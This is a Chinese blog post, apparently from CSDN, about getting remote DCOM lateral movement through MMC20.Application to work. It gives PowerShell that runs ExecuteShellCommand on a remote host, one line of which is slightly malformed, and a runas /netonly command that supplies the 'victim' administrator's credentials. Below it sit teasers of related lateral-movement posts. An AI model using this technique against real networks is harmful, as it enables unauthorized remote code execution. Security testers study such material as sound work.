MMC20.Application远程创建DCOM对象,拒绝访问0x80070005

【网络安全】企业内网中的横向移动 横向移动,是攻击者侵入企业系统时,获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。 中安网星特此推出了横向移动科普系列,本系列共有三篇文章,我们会以简单轻松的话语为大家讲解横向移动的内容。 近年来,随着网络攻击、勒索事件频发,企业安全防护需求迅速上升,传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而,深入了解攻击思路,“对症下药”,是目前网络安全行业发展的重要方向。 本篇文章将就“横向移动”这一典型攻击行为进行简单阐述,从攻击 阅读详情

关于利用MMC20这个DCOM对象启动进程的方法,网上已经有不少文章了。

我在测试在远程目标机器上创建MMC20对象时,始终提示0x8007005错误

PS测试代码:

$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.198.133"));
$com = Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

在攻击者机器上打开powershell输入上面命令,提示没权限激活远程dcom对象

使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.198.133 中在 COM 类工厂内检索 CLSID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件失败,原因是出现以下错误:
 80070005 192.168.198.133。”
所在位置 行:1 字符: 1
+ $com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.A ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UnauthorizedAccessException

虽然知道出错原因,需要在执行命令时,带入目标机器的管理员用户凭证;

最终通过runas命令解决了这个问题,具体步骤如下:

首先在攻击者机器上,打开cmd,输入以下命令:

runas /netonly /user:victim\administrator powershell

参数解释:

  • victim为目标机器的电脑名称
  • administrator为目标机器的管理员用户

然后根据提示输入目标机器administrator管理员用户的密码;

随后会在攻击者机器上弹出一个powershell窗口,这个powershell控制台默认是带了凭证的,在这个窗口执行前面的ps代码,就可以在目标机器上创建任意进程了;

参考资料:

  • https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py
  • http://talvinen.hatenablog.com/entry/2017/01/10/204132
  • https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P3-Exploitation.html
  • https://www.anquanke.com/post/id/215960
  • https://www.blackhat.com/eu-18/briefings/schedule/#network-defender-archeology-an-nsm-case-study-in-lateral-movement-with-dcom-12534
内网环境横向移动——利用DCOM(1) 这里先提两个概念,COM和DCOMCOM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套,由一组和组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。 阅读详情

相关推荐

来!简单了解一下计算机发展史!

​ 1936年,英国数学家阿兰・麦席森・图灵提出了一种抽象的计算模型——图灵机( Turing machine)。图灵机,又称图灵计算机,即将人们使用纸笔进行数学运算的过程进行抽象,由一个虚拟的机器替代人类进行数学运算。​ 图灵机是一个抽象的机器,它有一条无限长的纸带,纸带分成了一个一个的小方格,每个方格有不同的颜色。有一个机器头在纸带上移来移去。机器头有一组内部状态,还有一些固定的程序。

m0_57290404的博客 2905

内网安全:多种横向移动方式

DCOM:DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件获取DCOM列表:实验前提:1.关闭防火墙2.必须有管理员权限。

8888的博客 1626

在 SAP 中修改 Profile 文件中的主机名需要谨慎操作,需需确保所有相关配置保持一致

在SAP系统中修改Profile文件主机名需谨慎操作,主要步骤包括:1)停止相关SAP服务;2)重命名并编辑实例级Profile文件(如ER1_D00_OLDHOST改为ER1_D00_LRPSAP),修改所有含旧主机名的参数;3)可选更新默认Profile文件;4)在Windows系统中调整注册表配置;5)验证一致性后重启服务。关键注意:保持大小写统一、修改前备份文件、集群环境需同步所有节点。通过系统日志确认新主机名生效且无报错。

金牌架构师 1049

C# 调用MMC组件打开windows服务属性对话框

一次开发中需要调用系统服务里面的某个服务的属性对话框,方便进行设置操作。探索了好半天,发现以外的比较简单。 使用Microsoft Management Console 2.0简称MMC的COM接口即可轻松调用。 我们首先在引用中找到这个并引用进工程: 然后,我们在代码中编写如下: MMC20.Application appObj = new MMC20.Application(); // 加载服务组件 appObj.Load("services.msc"); // 获取其中的激活的视图 MM

Coding My Way 800

python:实现brutefore破解wifi(附完整源码)

python:实现brutefore破解wifi(附完整源码)

希望我的博客,能帮上你解决学习中工作中所遇到的问题 5708

200Gb/s以上速率的通道信号完整性设计和优化经验(二)

为满足200Gb/s信号完整性需求,需综合优化PCB、连接器、封装及SERDES架构。关键措施包括:采用低粗糙度铜箔与低损耗材料降低传输线损耗(200G目标0.55–0.6dB/cm);通过背钻工艺控制残桩长度至4±2mil;缩减连接器焊盘残桩至600μm以内以消除谐振;封装层面推进跳层走线、低Dk/Df材料与可控SMT工艺;采用PAM4调制与基于ADC/DSP的混合信号架构实现高效均衡。先进CMOS工艺(如纳米片器件)支撑复杂数字处理,协同设计是突破速率瓶颈的核心。

小孟同学的博客 147

不能从远程创建com+对象_横向移动使用CLSID调用COM对象进行横向

在第一篇横向移动中我们使用了MMC20.APPLICATION COM对象来进行横向移动,其实我们可以思考一个问题,微软的COM不只有MMC20.APPLICATION。https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overviewMicrosoft组件对象模型(COM)定义了一个二进制互操作性标准,用于...

weixin_39603050的博客 357

养龙虾之_因特尔UHD/ULtra/Arc核显跑大模型_安装ollama_跑qwen3.5:0.8b/9b_使用copaw1.0.1测试_并配置copaw技能效果炸裂---AI大模型应用探索0019

摘要:本文探讨了利用Intel UHD770核显运行大语言模型的可能性。通过使用Intel发布的ipex-llm项目工具包,成功在核显上运行了Qwen3.5系列模型。测试发现0.8B小模型运行流畅(3-5秒响应),但智能程度有限;而9B大模型虽然效果更好,但响应时间长达2分钟,且GPU/CPU占用率不高。实验证明Intel核显确实可以运行LLM,但实际效果和性能表现仍有提升空间,特别是对大模型的支持尚不理想。

添柴程序猿的专栏 233

DCOM 横向移动完整梳理,各种坑与限制

DCOM(Distributed Component Object Model,分布式组件对象模型),是 COM 组件对象模型的网络扩展,允许一台计算机上程序,通过 RPC 网络调用另外一台 Windows 主机上 COM 对象的方法函数。在 MITRE‑ATT&CK 框架编号为T1021.003远程服务:DCOM。内网红队横向移动技术当中,大家熟悉 PsExec、WMI、WinRM。DCOM 很多人只是听过名字,简单跑一遍 impacket 的 dcomexec.py,遇到一堆报错就放弃。

wananxuexihu的博客 315

一文让你轻松理解Wi-Fi理论速率计算方式

如上所示,在使用FDM的802.11协议上,最小子载波带宽为312.5KHz,那一个信道频宽为20MHz的信道可以分成64个子载波,但是由于技术原因,有效使用的是52个子载波,实际用于数据传输的只有48个,有4个子载波充当导频载波。载波:交流信号或者直流信号本身不具备数据传输能力,但是如果信号发生很小的波动或者变化,从而实现数据的收发。所谓子载波,就是将信号划为为很多的小信道,这些小信道可以实现数据的并发传输,子载波我们英文称为subcarrier,也称为音调(tone)。Symbol time如下所示。

1042484520@qq.com(邮箱) 3448

[ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429

[ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429 可以使用一些编码字符来制作URI,以访问WEB-INF目录的内容和/或绕过一些安全限制。默认合规模式允许带有包含 %u002e 段的 URI 的请求访问WEB-INF目录中的受保护资源。

qq_51577576的博客 3208

Windows DCOM安全属性深度解析:权限、身份验证与注册表映射

DCOM(分布式组件对象模型)是Windows进程间及跨机通信的核心基础设施,其安全属性直接决定COM对象的启动、激活与方法调用权限。理解DCOM三层权限模型(启动/激活、访问、配置)和身份验证级别(从'无'到'包隐私')的底层原理,对保障企业级应用集成稳定性至关重要。技术价值在于避免因权限误配引发的CPU飙升、0x80070005拒绝访问、蓝屏0xC0000225等典型故障;应用场景覆盖SQL Server代理、IIS+ASP.NET调用、SCADA系统PLC数据采集、Oracle安装及Office自动化

weixin_34208185的博客 332

关于UMI设备采集数据的模型训练方法

模仿学习如专家模型、VLA模型,ACT、DP、openpi等算法模型训练时,都是使用的机器人的绝对位姿或关节角;而UMI记录的轨迹是相对于UMI起始点的,可以理解为是相对于起点的绝对增量,对应到机器人中就是相对于末端TCP的增量。在用模型进行训练时,当然可以,但这样进行模型训练的话达不到跨本体的能力,因为模型本身还是学习的基于机器人base坐标系的绝对位姿关系,倘若用这种方式进行处理,则UMI可以理解为是一个遥操的方法,本质还是记录的机器人的state。在看了和。

boss-dog 421

Windows Server 2019生产环境基线配置与组策略深度调校指南

Windows Server 2019并非开箱即用的桌面系统,而是一套需精细调校的服务器操作系统底座。其核心原理在于:默认配置面向通用场景,而生产环境要求对电源策略、TCP网络栈、存储I/O、时间同步及组策略等关键维度进行精准干预。技术价值体现在规避性能瓶颈(如ASPM导致NVMe延迟飙升)、杜绝安全风险(如匿名枚举暴露)和保障服务稳定性(如W32Time漂移引发Kerberos认证失败)。典型应用场景包括Hyper-V虚拟化宿主机、SQL Server数据库服务器、Active Directory域控制器

weixin_33861800的博客 342

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

mmc20创建进程c/c++实现

,在查找有意思的包含exe方法的时候发现了mmc20,且接口是6efc2da2-b38c-457e-9abb-ed2d189b8c38。但常见的使用mmc20都是用的vbs和powershell来创建的进程,这里提供c/c++的实现。最近写了一份遍历clsid所有接口的代码(

被遗弃的庸才博客 722

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

内网渗透测试:利用DCOM进行横向渗透

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。干货主要有:①1000+CTF历届题库(主流和经典的应该都有了)②CTF技术文档(最全中文版)③项目源码(四五十个有趣且经典的练手项目及源码)

Innocence_0的博客 605

通讯协议013——你碰到哪些OPC通讯问题?

本文对OPC通讯常见问题及处理进行汇总。

zhouwl72的博客 1万+

0x80070005错误代码解决方法(Win7/Win10/Win11通用)

错误代码0×80070005常出现在执行Windows更新或者安装应用程序的时候,一般与访问被拒绝或者缺少足够的权限和一些更新所需的关键文件有关。拥有足够的磁盘空间来存储即将要安装的Windows更新以及应用程序等,可以使安装或更新过程顺利完成。步骤2:在新弹出的“服务”中双击“Windows备份”,将“启动类型”设置为“自动”,保存并关闭。步骤1:按下组合键“Win+R”打开“运行”,输入“services.msc”,按下“回车”。步骤3:然后右键点击“Windows备份”选择“启动”。

2301_79358971的博客 12万+

0x80070005拒绝访问

指定错误 bai0x80070005:拒绝访问 主要原因以下几种 1、登入duWindows时使用zhi空白密码的,应将组策略:“帐dao户:使用空白密码的本地帐户只允许进行控制台登录”改为“停用”就可以了。具体操作是打开开始运行->输入gpedit.msc打开组策略->计算机配置->windows设置->安全设置->本地策略->安全选项看右边框内:“帐户:使用空白密码的本地帐户只允许进行控制台登录”改为“停用”,就可以了。 2、可能权限不够或被禁止,具体操作是打开开始运

qq_38801934的博客 6842

windows提示“为了对电脑进行保护,已经阻止此应用mmc.exe ”

win10 提示“为了对电脑进行保护,已经阻止此应用“解决办法

buside的博客 3323

0x80070005错误代码怎么解决?多种解决0x80070005的方法

微软官方将0x80070005归类为「E_ACCESSDENIED」错误,本质是系统权限校验失败。当用户账户或系统进程尝试访问受保护资源时,若权限配置不匹配就会触发0x80070005。据统计,该错误在Windows更新场景的出现占比高达47%,其次是软件安装(32%)和注册表修改(21%)。

Chess_Chen的博客 9731
上一篇: 使用Orca查看MSI安装包
下一篇: C++通过DCOM调用Excel.ExecuteExcel4Macro执行宏代码
FFE4
博客等级 码龄9年 234粉丝 166原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值